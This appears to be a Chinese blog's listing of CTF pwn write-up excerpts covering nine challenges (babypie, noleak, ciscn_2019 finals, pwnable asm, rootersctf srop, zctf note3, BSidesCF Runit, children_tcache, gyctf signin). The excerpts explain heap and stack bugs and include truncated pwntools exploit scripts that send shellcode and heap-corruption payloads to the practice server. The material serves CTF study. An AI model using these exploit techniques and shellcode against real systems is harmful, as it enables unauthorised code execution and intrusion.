linkctf_2018.7_babypie
linkctf_2018.7_babypie检查防护
笔者新配置了一台Ubuntu22.04准备暑期去学习mips和arm架构下的pwn以及fuzz相关内容,然后最近考试周大部分时间用来复习,这里拿这题测试一下新配置的PWN机
IDA静态分析
主函数中存在溢出且有后门函数,但是这题开了PIE那么我们覆盖返回地址的最低一个字节可以绕过,也可以覆盖两个字节去爆破
exp1:覆盖一字节12345678910111213141516171819from pwn import*context(os='linux', arch='amd64', log_level='debug')#io = process('./babypie')def pwn(): io =remote('node4.buuoj.cn',25821) io.recvuntil(b'Input your Name:') io.sendline(b'a'*(0x30-0x8) ...
qctf_2018_noleak
qctf_2018_noleak(unsorted bin attack)检查防护
got表不可写,但是可以写shellcode且可以执行
IDA静态分析
edit里存在堆溢出
free里存在UAF
大致思路首先我们知道got表是不可写的,那我们可以去打malloc_hook,没有show,无法泄露libc,写不了one_gadget但是我们可以写shellcode我们如何把shellcode写进malloc_hook呢,我们知道malloc_hook是在&main_area-0x10的位置,我们知道unsortedbin attack可以让任意地址返回一个比较大的数这个数在libc2.27下是main_arena+96,那么离malloc_hook就不远了。
首先unlink把bss和buf写进指针数组,这样我们就可以劫持
12345678910111213141516bss = 0x601020buf = 0x601040add(0x30, b'a') #0add(0x420, b'a') #1add(0x60, b'a& ...
ciscn_2019_final_10
ciscn_2019_final_10检查防护措施
IDA静态分析
我们需要让sub_DD4(v4) == 1
那么我们需要让a1的低16个bit为0,那么至少也得0x10000,参数a1是我们输入的
但是这里给了限制不能大于255,所以我们首先要绕过这个限制,这里IDA分析出了点问题,看一下我7.5版本的IDA的分析结果
v1定义的无符号型,但是到了下面判断的时候被转成的有符号型,那么我们输入0xf0000000即可绕过
后面如果chunk1 里的内容是’The cake is a lie!’就可以执行shellcode
利用思路利用tcache double free改fd去把目标chunk申请过来,修改内容为The cake is a lie!,再写入shellcode,写入shellcode还需绕过sub_EEF()
12345678910111213141516171819202122232425262728293031323334from pwn import *context.log_level = "debug"context.arch=&q ...
ciscn_2019_final_5
ciscn_2019_final_5(临界条件错误)检查保护
got表可写,没有PIE,这题还是经典堆菜单,图就不放了直接看静态分析
IDA分析add()
add里可以看到有一个存放chunk指针的数组,但是他并不是直接把chunk的malloc地址存储进去,而是将idx和chunk地址的或值存进去
看一下我创建了一个idx为9的chunk,malloc地址是0x1560010但是存储的是0x1560019
free()
free的时候可以看到函数sub_400ACE 先去进行ptr & 0xf取出索引,再和外部输入的 idx 比较,如果一样,就去删除这个地方的 chunk,free地址为:qword_6020e0[i] & 0xfffffffffffffff0 计算得到,比如我们上面创建的idx = 9的chunk,我们free的时候输入idx = 9,那么遍历数组计算ptr & 0xf = 9的位置,再free qword_6020e0[i] & 0xfffffffffffffff0 = 0x1560010的位置进行,这样看上去似乎没有什么问题, ...
pwnable_asm(orw)
pwnable_asm(orw)记录一次orw的手法
mmap()函数映射空间的起始地址 addr = 0x41414000
再利用pwntools构造shellcode
shellcode = shellcraft.open(“./flag”)shellcode += shellcraft.read(3, address, 0x100)shellcode += shellcraft.write(1, address, 0x100)shellcode = asm(shellcode)
12345678910111213141516171819from pwn import *context.log_level = "debug"context.arch="amd64"io = remote("node4.buuoj.cn",27555)#io = process('./asm')address = 0x41414000shellcode = shellcraft.open("./flag" ...
rootersctf_2019_srop(syscall_chains)
rootersctf_2019_srop这里保护只开了NX,我们直接看一下IDA静态分析
程序非常简单,就一个start和一个sub_401000
根据题目名字提示我们用SROP,这里只有一次read机会,那么一个栈帧肯定是不够用的,这里存在syscall_leave_ret gadget
12345syscall_leave_ret = 0x401033pop_rax_syscall_leave_ret = 0x401032syscall_addr = 0x401046
那么把原来rip指向的syscall gadget换成syscall;ret gadget构造syscall_chain
首先利用栈溢出,执行read的系统调用,往data段上写入/bin/sh和第二帧,同时控制rbp,指向第二帧的signal frame
123456789101112131415frame = SigreturnFrame()frame.rax = 0 # read系统调用号 frame.rdi = 0 # 标准输入 stdin = 0frame.rsi = 0x40200 # data_ ...
zctf_2016_note3
zctf_2016_note3(无show,利用unlink去改got表去实现show)检查防护
got表可写,也没有开启PIE
IDA静态分析
这题的漏洞点在edit里,这里a2是我们add时输入的size值,如果我们输入0,那么这里a2-1就等于-1,i是无符号整型,那么我们就可以输入足够多的内容去覆盖下一个chunk,造成了堆溢出
这道题没有show,那么我们要思考如何去泄露libc,这题有存放我们chunk的malloc指针的数组,所以是符合unlink的条件的
我们可以通过unlink去修改free@got为puts@plt,那么我们去free的时候相当于执行puts,如果参数设置为atoi@got就可以泄露libc了
首先布置堆风水触发unlink
12345678910111213141516target = 0x6020c0fd = target - 0x8bk = target add(0,'aaaa')add(0x60,'aaaa')add(0x90,'aaaa')add(0x10,'aaaa ...
BSidesCF2019-Runit
Runit(vmmap的特性)检查保护
只是开了NX
IDA静态分析
这里有个小知识点就是buf是由vmmap映射的,所以可读可写可执行
第15行去执行buf,那么我们直接写进shellcode就可以了
exp:12345678910111213from pwn import *context.log_level = "debug"context.arch="i386"io = remote("node4.buuoj.cn",25524)#io = process('./runit')shellcode = asm(shellcraft.sh())io.sendline(shellcode)io.interactive()
HITCON_2018_children_tcache
HITCON_2018_children_tcache检查保护措施
本地调试
堆菜单但是没有edit
IDA静态分析
这题漏洞点在于使用strcpy将我们输入的内容复制到堆上,因为strcpy会在字符串后面自动加上一个\x00所以会造成off-by-null
大致思路这里如何去泄露libc是个难点,没有UAF不能简单地free一个chunk进unstored bin去show,那我们可以构造free一个chunk进unstored bin时去合并前面未释放的chunk,然后去切割unstored bin使得未释放的chunk的fd指向unsorted bin 链表的头部再show就可以泄露出来
我们先创建4个chunk
1234add(0x410,'aaaa') # 0add(0x68,'aaaa') #1add(0x4f0,'aaaa') # 2add(0x10,'aaaa') # 3
我们要利用1去改写chunk2的presize 和inuse位 = 0但是没有edit,且fr ...
gyctf_2020_signin
gyctf_2020_signin检查保护措施
IDA静态分析
选项6进入backdoor,但是呢ptr是空的所以不会执行system,而是直接退出,那么如果我们可以让ptr不为空就能执行后门了,if上面有一个calloc,这里主要就是利用calloc的特性
Calloc的特性121.在申请时会清空数据2.不会分配 tcache chunk 中的 chunk 而是从fastbin里取,取完后,和malloc一样,如果fastbin里还有剩余的chunk,则全部放到对应的tcache bin里取,采用头插法
利用思路这题是存在UAF的,我们先创建八个chunk再把chunk释放,此时tcache被填满7个chunk,fastbin中存在一个chunk7,我们去修改chunk7的fd指针,让他指向ptr-0x10的位置,然后我们add一次让tcache存在一个空位,再去进入6,调用calloc去分配fastbin之后把剩下的ptr-0x10位置的chunk放进tcache此时fd位置也就是ptr就会指向前一个被释放的chunk地址也就有值了,就可以执行system
首先第一步填满tcac ...

